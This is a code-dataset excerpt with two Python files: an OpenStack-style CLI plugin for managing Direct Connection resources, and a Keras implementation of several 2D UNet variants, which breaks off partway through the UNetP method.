2019-08-07T12:53:49.000Z

# Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, WITHOUT # WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the # License for the specific language governing permissions and limitations # under the License. # """Direct Connection v2 action implementations""" import logging from osc_lib import utils from osc_lib.command import command from otcextensions.i18n import _ from otcextensions.common import sdk_utils LOG = logging.getLogger(__name__) def _get_columns(item): column_map = { } return sdk_utils.get_osc_show_columns_for_sdk_resource(item, column_map) class ListDirectConnections(command.Lister): _description = _("List of Direct Connections.") columns = ( 'id', 'name', 'port type', 'provider', 'bandwidth', 'location', 'status' ) def get_parser(self, prog_name): parser = super(ListDirectConnections, self).get_parser(prog_name) parser.add_argument( '--id', metavar='<id>', help=_("Specifies the ID of the Direct Connection.") ) parser.add_argument( '--name', metavar='<name>', help=_("Specified the name of Direct Connection.") ) parser.add_argument( '--port_type', metavar='<port_type>', help=_("Specified the port type of Direct Connection. The value " "can be 1G or 10G.") ) parser.add_argument( '--bandwidth', metavar='<bandwidth>', type=int, help=_("Specified the bandwidth of Direct Connection in Mbit/s.") ) parser.add_argument( '--location', metavar='<location>', help=_("Specified the access location of Direct Connection.") ) parser.add_argument( '--peer_location', metavar='<peer_location>', help=_("Specifies the location of the on-premises facility at " "the other end of the connection, specific to the street " "or data center name.") ) parser.add_argument( '--device_id', metavar='<device_id>', help=_("Specifies the gateway device ID of the Direct Connection.") ) parser.add_argument( '--interface_name', metavar='<interface_name>', help=_("Specifies the name of the interface accessed by the " "Direct Connection.") ) parser.add_argument( '--redundant_id', metavar='<redundant_id>', help=_("Specifies the ID of the redundant connection using " "the same gateway.") ) parser.add_argument( '--provider', metavar='<provider>', help=_("Specifies the carrier who provides the leased line.") ) parser.add_argument( '--provider_status', metavar='<provider_status>', help=_("Specifies the status of the carrier's leased line." " The value can be ACTIVE or DOWN.") ) parser.add_argument( '--type', metavar='<type>', help=_("Specifies the connection type. The value can be hosted.") ) parser.add_argument( '--hosting_id', metavar='<hosting_id>', help=_("Specifies the ID of the operations connection on which" " the hosted connection is created.") ) parser.add_argument( '--vlan', metavar='<vlan>', help=_("Specifies the VLAN pre-allocated to the hosted" " connection.") ) parser.add_argument( '--charge_mode', metavar='<charge_mode>', help=_("Specifies the billing mode. The value can be prepayment," " bandwidth, or traffic.") ) parser.add_argument( '--apply_time', metavar='<apply_time>', help=_("Specifies the time when the connection is requested.") ) parser.add_argument( '--create_time', metavar='<create_time>', help=_("Specifies the time when the connection is created.") ) parser.add_argument( '--delete_time', metavar='<delete_time>', help=_("Specifies the time when the connection is deleted.") ) parser.add_argument( '--order_id', metavar='<order_id>', help=_("Specifies the order number of the connection.") ) parser.add_argument( '--product_id', metavar='<product_id>', help=_("Specifies the product ID corresponding to the " "connection's order.") ) parser.add_argument( '--status', metavar='<status>', help=_("Specifies the connection status. The value can be ACTIVE, " "DOWN, BUILD, ERROR, PENDING_DELETE, DELETED, APPLY, DENY, " "PENDING_PAY, PAID, ORDERING, ACCEPT, or REJECTED.") ) parser.add_argument( '--admin_state_up', metavar='<admin_state_up>', help=_("Specifies the administrative status of the connection." "The value can be true or false.") ) return parser def take_action(self, parsed_args): client = self.app.client_manager.dcaas args_list = [ 'id', 'name', 'port_type', 'bandwidth', 'location', 'peer_location', 'device_id', 'interface_name', 'redundant_id', 'provider', 'provider_status', 'type', 'hosting_id', 'vlan', 'charge_mode', 'apply_time', 'create_time', 'delete_time', 'order_id', 'product_id', 'status', 'admin_state_up' ] attrs = {} for arg in args_list: val = getattr(parsed_args, arg) if val: attrs[arg] = val data = client.connections(**attrs) table = (self.columns, (utils.get_dict_properties(s, self.columns) for s in data)) return table class ShowDirectConnection(command.ShowOne): _description = _("Show Direct Connection details.") def get_parser(self, prog_name): parser = super(ShowDirectConnection, self).get_parser(prog_name) parser.add_argument( 'direct_connection', metavar='<direct_connection>', help=_("Specifies the connection ID or name.") ) return parser def take_action(self, parsed_args): client = self.app.client_manager.dcaas obj = client.find_connection(parsed_args.direct_connection) display_columns, columns = _get_columns(obj) data = utils.get_item_properties(obj, columns) return (display_columns, data) class CreateDirectConnection(command.ShowOne): _description = _("Create new Direct Connection") def get_parser(self, prog_name): parser = super(CreateDirectConnection, self).get_parser(prog_name) parser.add_argument( 'port_type', metavar='<port_type>', help=_("Specified the port type of Direct Connection. The value " "can be 1G or 10G.") ) parser.add_argument( 'bandwidth', metavar='<bandwidth>', type=int, help=_("Specified the bandwidth of Direct Connection in Mbit/s.") ) parser.add_argument( 'location', metavar='<location>', help=_("Specified the access location of Direct Connection.") ) parser.add_argument( 'provider', metavar='<provider>', help=_("Specifies the carrier who provides the leased line.") ) parser.add_argument( '--name', metavar='<name>', help=_("Specified the name of Direct Connection.") ) parser.add_argument( '--description', metavar='<description>', help=_("Provides supplementary information about the connection.") ) parser.add_argument( '--peer_location', metavar='<peer_location>', help=_("Specifies the location of the on-premises facility at " "the other end of the connection, specific to the street " "or data center name.") ) parser.add_argument( '--device_id', metavar='<device_id>', help=_("Specifies the gateway device ID of the Direct Connection.") ) parser.add_argument( '--interface_name', metavar='<interface_name>', help=_("Specifies the name of the interface accessed by the " "Direct Connection.") ) parser.add_argument( '--redundant_id', metavar='<redundant_id>', help=_("Specifies the ID of the redundant connection using " "the same gateway.") ) parser.add_argument( '--provider_status', metavar='<provider_status>', help=_("Specifies the status of the carrier's leased line. " "The value can be ACTIVE or DOWN.") ) parser.add_argument( '--type', metavar='<type>', help=_("Specifies the connection type. The value can be hosted.") ) parser.add_argument( '--hosting_id', metavar='<hosting_id>', help=_("Specifies the ID of the operations connection on which " "the hosted connection is created.") ) parser.add_argument( '--vlan', metavar='<vlan>', type=int, help=_("Specifies the VLAN pre-allocated to the hosted " "connection.") ) parser.add_argument( '--charge_mode', metavar='<charge_mode>', help=_("Specifies the billing mode. The value can be prepayment, " "bandwidth, or traffic.") ) parser.add_argument( '--order_id', metavar='<order_id>', help=_("Specifies the order number of the connection.") ) parser.add_argument( '--product_id', metavar='<product_id>', help=_("Specifies the product ID corresponding to the " "connection's order.") ) parser.add_argument( '--status', metavar='<status>', help=_("Specifies the connection status. The value can be ACTIVE, " "DOWN, BUILD, ERROR, PENDING_DELETE, DELETED, APPLY, DENY, " "PENDING_PAY, PAID, ORDERING, ACCEPT, or REJECTED.") ) parser.add_argument( '--admin_state_up', metavar='<admin_state_up>', type=bool, help=_("Specifies the administrative status of the connection. " "The value can be true or false.") ) return parser def take_action(self, parsed_args): client = self.app.client_manager.dcaas args_list = [ 'name', 'description', 'port_type', 'bandwidth', 'location', 'peer_location', 'device_id', 'interface_name', 'redundant_id', 'provider', 'provider_status', 'type', 'hosting_id', 'vlan', 'charge_mode', 'order_id', 'product_id', 'status', 'admin_state_up' ] attrs = {} for arg in args_list: val = getattr(parsed_args, arg) if val: attrs[arg] = val obj = client.create_connection(**attrs) display_columns, columns = _get_columns(obj) data = utils.get_item_properties(obj, columns) return (display_columns, data) class UpdateDirectConnection(command.ShowOne): _description = _("Update a Direct Connection") def get_parser(self, prog_name): parser = super(UpdateDirectConnection, self).get_parser(prog_name) parser.add_argument( 'direct_connection', metavar='<direct_connection>', help=_("Specifies the connection ID or name.") ) parser.add_argument( '--name', metavar='<name>', help=_("Specifies the connection name.") ) parser.add_argument( '--description', metavar='<description>', help=_("Provides supplementary information about the connection.") ) parser.add_argument( '--bandwidth', metavar='<bandwidth>', type=int, help=_("Specifies the bandwidth of the connection in Mbit/s. " "The value can be 1G or 10G.") ) parser.add_argument( '--provider_status', metavar='<provider_status>', help=_("Specifies the status of the carrier's leased line. " "The value can be ACTIVE or DOWN.") ) parser.add_argument( '--order_id', metavar='<order_id>', help=_("Specifies the order number of the connection.") ) parser.add_argument( '--product_id', metavar='<product_id>', help=_("Specifies the product ID corresponding to the " "connection's order.") ) return parser def take_action(self, parsed_args): client = self.app.client_manager.dcaas args_list = [ 'name', 'description', 'bandwidth', 'provider_status', 'order_id', 'product_id' ] attrs = {} for arg in args_list: val = getattr(parsed_args, arg) if val: attrs[arg] = val if parsed_args.direct_connection: direct_connection = client.find_connection( parsed_args.direct_connection ) obj = client.update_connection( direct_connection.id, **attrs ) display_columns, columns = _get_columns(obj) data = utils.get_item_properties(obj, columns) return (display_columns, data) class DeleteDirectConnection(command.Command): _description = _("Delete the Direct Connection.") def get_parser(self, prog_name): parser = super(DeleteDirectConnection, self).get_parser(prog_name) parser.add_argument( 'direct_connection', metavar='<direct_connection>', help=_("Direct Connection to delete.") ) return parser def take_action(self, parsed_args): client = self.app.client_manager.dcaas if parsed_args.direct_connection: direct_connection = client.find_connection( parsed_args.direct_connection) client.delete_connection(direct_connection.id)

32.901235

79

0.539212

1,552

15,990

5.353737

0.135309

0.054158

0.102299

0.051992

0.802022

0.799735

0.796847

0.784812

0.766518

0.74666

0

0.001564

0.3601

15,990

485

80

32.969072

0.810496

0.03546

0

0.724537

0

0.333312

0

1

0.025463

false

0

0.011574

0

0.085648

0

null

0

1

0

1

0

null

0

7

6fce464b5415f2aead0ab8012f6a34e10fe9dafa

49,703

py

Python

Codes/UNet_2DCNN.py

sucaicai4/UNet-Segmentation-AutoEncoder-1D-2D-Tensorflow-Keras

99824aa00f76fe75d7ebdbbcecd03151f75437a0

[ "MIT" ]

1

2021-09-21T01:52:35.000Z

Codes/UNet_2DCNN.py

sucaicai4/UNet-Segmentation-AutoEncoder-1D-2D-Tensorflow-Keras

99824aa00f76fe75d7ebdbbcecd03151f75437a0

[ "MIT" ]

null

Codes/UNet_2DCNN.py

sucaicai4/UNet-Segmentation-AutoEncoder-1D-2D-Tensorflow-Keras

99824aa00f76fe75d7ebdbbcecd03151f75437a0

[ "MIT" ]

1

2021-09-21T01:52:37.000Z

'''Author: Sakib Mahmud''' '''MIT License''' '''Source: https://github.com/Sakib1263''' # Import Necessary Libraries import tensorflow as tf def Conv_Block(inputs, model_width, kernel, multiplier): # 1D Convolutional Block x = tf.keras.layers.Conv2D(model_width * multiplier, kernel, padding='same')(inputs) x = tf.keras.layers.BatchNormalization()(x) x = tf.keras.layers.Activation('relu')(x) return x def trans_conv2D(inputs, model_width, multiplier): # 1D Transposed Convolutional Block, used instead of UpSampling x = tf.keras.layers.Conv2DTranspose(model_width * multiplier, (2,2), strides=(2,2), padding='same')(inputs) # Stride = 2, Kernel Size = 2 x = tf.keras.layers.BatchNormalization()(x) x = tf.keras.layers.Activation('relu')(x) return x def Concat_Block(input1, *argv): # Concatenation Block from the Keras Library cat = input1 for arg in range(0, len(argv)): cat = tf.keras.layers.concatenate([cat, argv[arg]], axis=-1) return cat def upConv_Block(inputs): # 1D UpSampling Block up = tf.keras.layers.UpSampling2D(size=(2, 2))(inputs) return up def Feature_Extraction_Block(inputs, model_width, Dim2, feature_number): # Feature Extraction Block for the AutoEncoder Mode latent = tf.keras.layers.Flatten()(inputs) latent = tf.keras.layers.Dense(feature_number, name='features')(latent) latent = tf.keras.layers.Dense(model_width * Dim2 * Dim2)(latent) latent = tf.keras.layers.Reshape((Dim2, Dim2, model_width))(latent) return latent def MultiResBlock(inputs, model_width, kernel, multiplier, alpha): ''' MultiRes Block''' # U {int} -- Number of filters in a corrsponding UNet stage # inp {keras layer} -- input layer w = alpha * model_width shortcut = inputs shortcut = Conv_Block(shortcut, int(w * 0.167) + int(w * 0.333) + int(w * 0.5), 1, multiplier) conv3x3 = Conv_Block(inputs, int(w * 0.167), kernel, multiplier) conv5x5 = Conv_Block(conv3x3, int(w * 0.333), kernel, multiplier) conv7x7 = Conv_Block(conv5x5, int(w * 0.5), kernel, multiplier) out = tf.keras.layers.concatenate([conv3x3, conv5x5, conv7x7], axis=-1) out = tf.keras.layers.BatchNormalization()(out) out = tf.keras.layers.Add()([shortcut, out]) out = tf.keras.layers.Activation('relu')(out) out = tf.keras.layers.BatchNormalization()(out) return out def ResPath(inputs, model_depth, model_width, kernel, multiplier): ''' ResPath ''' # filters {int} -- [description] # length {int} -- length of ResPath # inp {keras layer} -- input layer shortcut = inputs shortcut = Conv_Block(shortcut, model_width, 1, multiplier) out = Conv_Block(inputs, model_width, kernel, multiplier) out = tf.keras.layers.Add()([shortcut, out]) out = tf.keras.layers.Activation('relu')(out) out = tf.keras.layers.BatchNormalization()(out) for i in range(1, model_depth): shortcut = out shortcut = Conv_Block(shortcut, model_width, 1, multiplier) out = Conv_Block(out, model_width, kernel, multiplier) out = tf.keras.layers.Add()([shortcut, out]) out = tf.keras.layers.Activation('relu')(out) out = tf.keras.layers.BatchNormalization()(out) return out class UNet: # Version 2 (v2) of all Models use Transposed Convolution instead of UpSampling def __init__(self, length, width, model_depth, num_channel, model_width, kernel_size, problem_type='Regression', output_nums=1, ds=0, ae=0, *argv): # length: Input Image Length (x-dim) # width: Input Image Width (y-dim) [Normally same as the x-dim i.e., Square shape] # model_depth: Depth of the Model # model_width: Width of the Model # kernel_size: Kernel or Filter Size of the Input Convolutional Layer # num_channel: Number of Channels of the Input Predictor Signals # feature_number: Number of Features or Embeddings to be extracted from the AutoEncoder, only useful in the A_E Mode # ds: Checks where Deep Supervision is active or not, either 0 or 1 [Default value set as 0] # ae: Enables or diables the AutoEncoder Mode, either 0 or 1 [Default value set as 0] # alpha: This Parameter is only for MultiResUNet, default value is 1 self.length = length self.width = width self.model_depth = model_depth self.num_channel = num_channel self.model_width = model_width self.kernel_size = kernel_size self.problem_type = problem_type self.output_nums = output_nums self.D_S = ds self.A_E = ae if len(argv) == 0 and ae == 1: raise ValueError("Please Check the Input Parameters! Autoencoder mode was selected but arguments were not provided!") elif len(argv) == 2 and ae == 0: raise ValueError("Please Check the Input Parameters! Autoencoder mode was not selected but extra arguments were provided!") elif len(argv) == 1 and ae == 1: self.feature_number = argv[0] elif len(argv) == 1 and ae == 0: self.alpha = argv[0] # Alpha parameter, only for MultiResUNet elif len(argv) == 2 and ae == 1: self.feature_number = argv[0] self.alpha = argv[1] elif len(argv) > 2: raise ValueError("Please Check the Input Parameters! More than 2 optional arguments are not expected!") def UNet(self): """Variable UNet Model Design""" if self.length == 0 or self.model_depth == 0 or self.model_width == 0 or self.num_channel == 0 or self.kernel_size == 0: print("ERROR: Please Check the Values of the Input Parameters!") convs = {} levels = [] i = 1 # Encoding inputs = tf.keras.Input((self.length, self.width, self.num_channel)) conv = Conv_Block(inputs, self.model_width, self.kernel_size, 2 ** 0) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** 0) pool = tf.keras.layers.MaxPooling2D(pool_size=2)(conv) convs["conv%s" % i] = conv for i in range(2, (self.model_depth + 1)): conv = Conv_Block(pool, self.model_width, self.kernel_size, 2 ** (i - 1)) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** (i - 1)) pool = tf.keras.layers.MaxPooling2D(pool_size=2)(conv) convs["conv%s" % i] = conv # Collect Latent Features or Embeddings from AutoEncoders if (self.A_E == 0) and (self.D_S == 0): conv = Conv_Block(pool, self.model_width, self.kernel_size, 2 ** self.model_depth) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** self.model_depth) elif (self.A_E == 0) and (self.D_S == 1): conv = Conv_Block(pool, self.model_width, self.kernel_size, 2 ** self.model_depth) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** self.model_depth) level0 = tf.keras.layers.Conv2D(1, (1, 1), name=f'level{self.model_depth}')(conv) levels.append(level0) elif (self.A_E == 1) and (self.D_S == 0): latent = Feature_Extraction_Block(pool, self.model_width, int(self.length / (2 ** self.model_depth)), self.feature_number) conv = Conv_Block(latent, self.model_width, self.kernel_size, 2 ** self.model_depth) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** self.model_depth) elif (self.A_E == 1) and (self.D_S == 1): latent = Feature_Extraction_Block(pool, self.model_width, int(self.length / (2 ** self.model_depth)), self.feature_number) conv = Conv_Block(latent, self.model_width, self.kernel_size, 2 ** self.model_depth) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** self.model_depth) level0 = tf.keras.layers.Conv2D(1, (1, 1), name=f'level{self.model_depth}')(conv) levels.append(level0) else: print("ERROR: Please Check the Values of the Input Parameters!") # Decoding convs_list = list(convs.values()) deconv = Conv_Block(Concat_Block(upConv_Block(conv), convs_list[self.model_depth - 1]), self.model_width, self.kernel_size, 2 ** (self.model_depth - 1)) deconv = Conv_Block(deconv, self.model_width, self.kernel_size, 2 ** (self.model_depth - 1)) for j in range(1, self.model_depth): if self.D_S == 0: deconv = Conv_Block(Concat_Block(upConv_Block(deconv), convs_list[self.model_depth - j - 1]), self.model_width, self.kernel_size, 2 ** (self.model_depth - j - 1)) deconv = Conv_Block(deconv, self.model_width, self.kernel_size, 2 ** (self.model_depth - j - 1)) elif self.D_S == 1: level = tf.keras.layers.Conv2D(1, (1, 1), name=f'level{self.model_depth - j}')(deconv) levels.append(level) deconv = Conv_Block(Concat_Block(upConv_Block(deconv), convs_list[self.model_depth - j - 1]), self.model_width, self.kernel_size, 2 ** (self.model_depth - j - 1)) deconv = Conv_Block(deconv, self.model_width, self.kernel_size, 2 ** (self.model_depth - j - 1)) else: print("ERROR: Please Check the Values of the Input Parameters!") # Output outputs = [] if self.problem_type == 'Classification': outputs = tf.keras.layers.Conv2D(self.output_nums, (1, 1), activation='softmax', name="out")(deconv) elif self.problem_type == 'Regression': outputs = tf.keras.layers.Conv2D(self.output_nums, (1, 1), activation='linear', name="out")(deconv) model = tf.keras.Model(inputs=[inputs], outputs=[outputs]) if self.D_S == 1: levels.append(outputs) levels.reverse() model = tf.keras.Model(inputs=[inputs], outputs=levels) return model def UNet_v2(self): """Variable UNet Model Design - Version 2""" if self.length == 0 or self.model_depth == 0 or self.model_width == 0 or self.num_channel == 0 or self.kernel_size == 0: print("ERROR: Please Check the Values of the Input Parameters!") convs = {} levels = [] i = 1 # Encoding inputs = tf.keras.Input((self.length, self.width, self.num_channel)) conv = Conv_Block(inputs, self.model_width, self.kernel_size, 2 ** 0) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** 0) pool = tf.keras.layers.MaxPooling2D(pool_size=(2,2))(conv) convs["conv%s" % i] = conv for i in range(2, (self.model_depth + 1)): conv = Conv_Block(pool, self.model_width, self.kernel_size, 2 ** (i - 1)) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** (i - 1)) pool = tf.keras.layers.MaxPooling2D(pool_size=(2,2))(conv) convs["conv%s" % i] = conv # Collect Latent Features or Embeddings from AutoEncoders if (self.A_E == 0) and (self.D_S == 0): conv = Conv_Block(pool, self.model_width, self.kernel_size, 2 ** self.model_depth) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** self.model_depth) elif (self.A_E == 0) and (self.D_S == 1): conv = Conv_Block(pool, self.model_width, self.kernel_size, 2 ** self.model_depth) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** self.model_depth) level0 = tf.keras.layers.Conv2D(1, (1, 1), name=f'level{self.model_depth}')(conv) levels.append(level0) elif (self.A_E == 1) and (self.D_S == 0): latent = Feature_Extraction_Block(pool, self.model_width, int(self.length / (2 ** self.model_depth)), self.feature_number) conv = Conv_Block(latent, self.model_width, self.kernel_size, 2 ** self.model_depth) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** self.model_depth) elif (self.A_E == 1) and (self.D_S == 1): latent = Feature_Extraction_Block(pool, self.model_width, int(self.length / (2 ** self.model_depth)), self.feature_number) conv = Conv_Block(latent, self.model_width, self.kernel_size, 2 ** self.model_depth) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** self.model_depth) level0 = tf.keras.layers.Conv2D(1, (1, 1), name=f'level{self.model_depth}')(conv) levels.append(level0) else: print("ERROR: Please Check the Values of the Input Parameters!") # Decoding convs_list = list(convs.values()) deconv = trans_conv2D(conv, self.model_width, 2 ** (self.model_depth - 1)) deconv = Conv_Block(Concat_Block(deconv, convs_list[self.model_depth - 1]), self.model_width, self.kernel_size, 2 ** (self.model_depth - 1)) deconv = Conv_Block(deconv, self.model_width, self.kernel_size, 2 ** (self.model_depth - 1)) for j in range(1, self.model_depth): if self.D_S == 0: deconv = trans_conv2D(deconv, self.model_width, 2 ** (self.model_depth - j - 1)) deconv = Conv_Block(Concat_Block(deconv, convs_list[self.model_depth - j - 1]), self.model_width, self.kernel_size, 2 ** (self.model_depth - j - 1)) deconv = Conv_Block(deconv, self.model_width, self.kernel_size, 2 ** (self.model_depth - j - 1)) elif self.D_S == 1: level = tf.keras.layers.Conv2D(1, (1, 1), name=f'level{self.model_depth - j}')(deconv) levels.append(level) deconv = trans_conv2D(deconv, self.model_width, 2 ** (self.model_depth - j - 1)) deconv = Conv_Block(Concat_Block(deconv, convs_list[self.model_depth - j - 1]), self.model_width, self.kernel_size, 2 ** (self.model_depth - j - 1)) deconv = Conv_Block(deconv, self.model_width, self.kernel_size, 2 ** (self.model_depth - j - 1)) else: print("ERROR: Please Check the Values of the Input Parameters!") # Output outputs = [] if self.problem_type == 'Classification': outputs = tf.keras.layers.Conv2D(self.output_nums, (1, 1), activation='softmax', name="out")(deconv) elif self.problem_type == 'Regression': outputs = tf.keras.layers.Conv2D(self.output_nums, (1, 1), activation='linear', name="out")(deconv) model = tf.keras.Model(inputs=[inputs], outputs=[outputs]) if self.D_S == 1: levels.append(outputs) levels.reverse() model = tf.keras.Model(inputs=[inputs], outputs=levels) return model def UNetE(self): """Variable Ensemble UNet Model Design""" if self.length == 0 or self.model_depth == 0 or self.model_width == 0 or self.num_channel == 0 or self.kernel_size == 0: print("ERROR: Please Check the Values of the Input Parameters!") convs = {} levels = [] i = 1 # Encoding inputs = tf.keras.Input((self.length, self.width, self.num_channel)) conv = Conv_Block(inputs, self.model_width, self.kernel_size, 2 ** 0) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** 0) pool = tf.keras.layers.MaxPooling2D(pool_size=(2,2))(conv) convs["conv%s" % i] = conv for i in range(2, (self.model_depth + 1)): conv = Conv_Block(pool, self.model_width, self.kernel_size, 2 ** (i - 1)) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** (i - 1)) pool = tf.keras.layers.MaxPooling2D(pool_size=(2,2))(conv) convs["conv%s" % i] = conv # Collect Latent Features or Embeddings from AutoEncoders if self.A_E == 0: conv = Conv_Block(pool, self.model_width, self.kernel_size, 2 ** self.model_depth) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** self.model_depth) elif self.A_E == 1: latent = Feature_Extraction_Block(pool, self.model_width, int(self.length / (2 ** self.model_depth)), self.feature_number) conv = Conv_Block(latent, self.model_width, self.kernel_size, 2 ** self.model_depth) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** self.model_depth) else: print("ERROR: Please Check the Values of the Input Parameters!") # Decoding convs_list = list(convs.values()) if self.D_S == 1: level = tf.keras.layers.Conv2D(1, (1, 1), name=f'level{self.model_depth}')(convs_list[0]) levels.append(level) deconvs = {} for i in range(1, (self.model_depth + 1)): for j in range(0, (self.model_depth - i + 1)): if (i == 1) and (j == (self.model_depth - 1)): deconv = Conv_Block(Concat_Block(convs_list[j], upConv_Block(conv)), self.model_width, self.kernel_size, 2 ** j) deconv = Conv_Block(deconv, self.model_width, self.kernel_size, 2 ** j) deconvs["deconv%s%s" % (j, i)] = deconv elif (i == 1) and (j < (self.model_depth - 1)): deconv = Conv_Block(Concat_Block(convs_list[j], upConv_Block(convs_list[j + 1])), self.model_width, self.kernel_size, 2 ** j) deconv = Conv_Block(deconv, self.model_width, self.kernel_size, 2 ** j) deconvs["deconv%s%s" % (j, i)] = deconv elif i > 1: deconv = Conv_Block(Concat_Block(convs_list[j], upConv_Block(deconvs["deconv%s%s" % ((j + 1), (i - 1))])), self.model_width, self.kernel_size, 2 ** j) deconv = Conv_Block(deconv, self.model_width, self.kernel_size, 2 ** j) deconvs["deconv%s%s" % (j, i)] = deconv if (self.D_S == 1) and (j == 0) and (i < self.model_depth): level = tf.keras.layers.Conv2D(1, (1, 1), name=f'level{self.model_depth - i}')(deconvs["deconv%s%s" % (j, i)]) levels.append(level) deconv = deconvs["deconv%s%s" % (0, self.model_depth)] # Output outputs = [] if self.problem_type == 'Classification': outputs = tf.keras.layers.Conv2D(self.output_nums, (1, 1), activation='softmax', name="out")(deconv) elif self.problem_type == 'Regression': outputs = tf.keras.layers.Conv2D(self.output_nums, (1, 1), activation='linear', name="out")(deconv) model = tf.keras.Model(inputs=[inputs], outputs=[outputs]) if self.D_S == 1: levels.append(outputs) levels.reverse() model = tf.keras.Model(inputs=[inputs], outputs=levels) return model def UNetE_v2(self): """Variable Ensemble UNet Model Design - Version 2""" if self.length == 0 or self.model_depth == 0 or self.model_width == 0 or self.num_channel == 0 or self.kernel_size == 0: print("ERROR: Please Check the Values of the Input Parameters!") convs = {} levels = [] i = 1 # Encoding inputs = tf.keras.Input((self.length, self.width, self.num_channel)) conv = Conv_Block(inputs, self.model_width, self.kernel_size, 2 ** 0) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** 0) pool = tf.keras.layers.MaxPooling2D(pool_size=(2,2))(conv) convs["conv%s" % i] = conv for i in range(2, (self.model_depth + 1)): conv = Conv_Block(pool, self.model_width, self.kernel_size, 2 ** (i - 1)) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** (i - 1)) pool = tf.keras.layers.MaxPooling2D(pool_size=(2,2))(conv) convs["conv%s" % i] = conv # Collect Latent Features or Embeddings from AutoEncoders if self.A_E == 0: conv = Conv_Block(pool, self.model_width, self.kernel_size, 2 ** self.model_depth) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** self.model_depth) elif self.A_E == 1: latent = Feature_Extraction_Block(pool, self.model_width, int(self.length / (2 ** self.model_depth)), self.feature_number) conv = Conv_Block(latent, self.model_width, self.kernel_size, 2 ** self.model_depth) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** self.model_depth) else: print("ERROR: Please Check the Values of the Input Parameters!") # Decoding convs_list = list(convs.values()) if self.D_S == 1: level = tf.keras.layers.Conv2D(1, (1, 1), name=f'level{self.model_depth}')(convs_list[0]) levels.append(level) deconvs = {} for i in range(1, (self.model_depth + 1)): for j in range(0, (self.model_depth - i + 1)): if (i == 1) and (j == (self.model_depth - 1)): deconv = trans_conv2D(conv, self.model_width, 2 ** j) deconv = Conv_Block(Concat_Block(convs_list[j], deconv), self.model_width, self.kernel_size, 2 ** j) deconv = Conv_Block(deconv, self.model_width, self.kernel_size, 2 ** j) deconvs["deconv%s%s" % (j, i)] = deconv elif (i == 1) and (j < (self.model_depth - 1)): deconv = trans_conv2D(convs_list[j + 1], self.model_width, 2 ** j) deconv = Conv_Block(Concat_Block(convs_list[j], deconv), self.model_width, self.kernel_size, 2 ** j) deconv = Conv_Block(deconv, self.model_width, self.kernel_size, 2 ** j) deconvs["deconv%s%s" % (j, i)] = deconv elif i > 1: deconv = trans_conv2D(deconvs["deconv%s%s" % ((j + 1), (i - 1))], self.model_width, 2 ** j) deconv = Conv_Block(Concat_Block(convs_list[j], deconv), self.model_width, self.kernel_size, 2 ** j) deconv = Conv_Block(deconv, self.model_width, self.kernel_size, 2 ** j) deconvs["deconv%s%s" % (j, i)] = deconv if (self.D_S == 1) and (j == 0) and (i < self.model_depth): level = tf.keras.layers.Conv2D(1, (1, 1), name=f'level{self.model_depth - i}')(deconvs["deconv%s%s" % (j, i)]) levels.append(level) deconv = deconvs["deconv%s%s" % (0, self.model_depth)] # Output outputs = [] if self.problem_type == 'Classification': outputs = tf.keras.layers.Conv2D(self.output_nums, (1, 1), activation='softmax', name="out")(deconv) elif self.problem_type == 'Regression': outputs = tf.keras.layers.Conv2D(self.output_nums, (1, 1), activation='linear', name="out")(deconv) model = tf.keras.Model(inputs=[inputs], outputs=[outputs]) if self.D_S == 1: levels.append(outputs) levels.reverse() model = tf.keras.Model(inputs=[inputs], outputs=levels) return model def UNetP(self): """Variable UNet+ Model Design""" if self.length == 0 or self.model_depth == 0 or self.model_width == 0 or self.num_channel == 0 or self.kernel_size == 0: print("ERROR: Please Check the Values of the Input Parameters!") convs = {} levels = [] i = 1 # Encoding inputs = tf.keras.Input((self.length, self.width, self.num_channel)) conv = Conv_Block(inputs, self.model_width, self.kernel_size, 2 ** 0) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** 0) pool = tf.keras.layers.MaxPooling2D(pool_size=(2,2))(conv) convs["conv%s" % i] = conv for i in range(2, (self.model_depth + 1)): conv = Conv_Block(pool, self.model_width, self.kernel_size, 2 ** (i - 1)) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** (i - 1)) pool = tf.keras.layers.MaxPooling2D(pool_size=(2,2))(conv) convs["conv%s" % i] = conv # Collect Latent Features or Embeddings from AutoEncoders if self.A_E == 0: conv = Conv_Block(pool, self.model_width, self.kernel_size, 2 ** self.model_depth) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** self.model_depth) elif self.A_E == 1: latent = Feature_Extraction_Block(pool, self.model_width, int(self.length / (2 ** self.model_depth)), self.feature_number) conv = Conv_Block(latent, self.model_width, self.kernel_size, 2 ** self.model_depth) conv = Conv_Block(conv, self.model_width, self.kernel_size, 2 ** self.model_depth) else: print("ERROR: Please Check the Values of the Input Parameters!") # Decoding convs_list = list(convs.values()) if self.D_S == 1: level = tf.keras.layers.Conv2D(1, (1,1), name=f'level{self.model_depth}')(convs_list[0]) levels.append(level) deconvs = {} for i in range(1, (self.model_depth + 1)): for j in range(0, (self.model_depth - i + 1)): if (i == 1) and (j == (self.model_depth - 1)): deconv = Conv_Block(Concat_Block(convs_list[j], 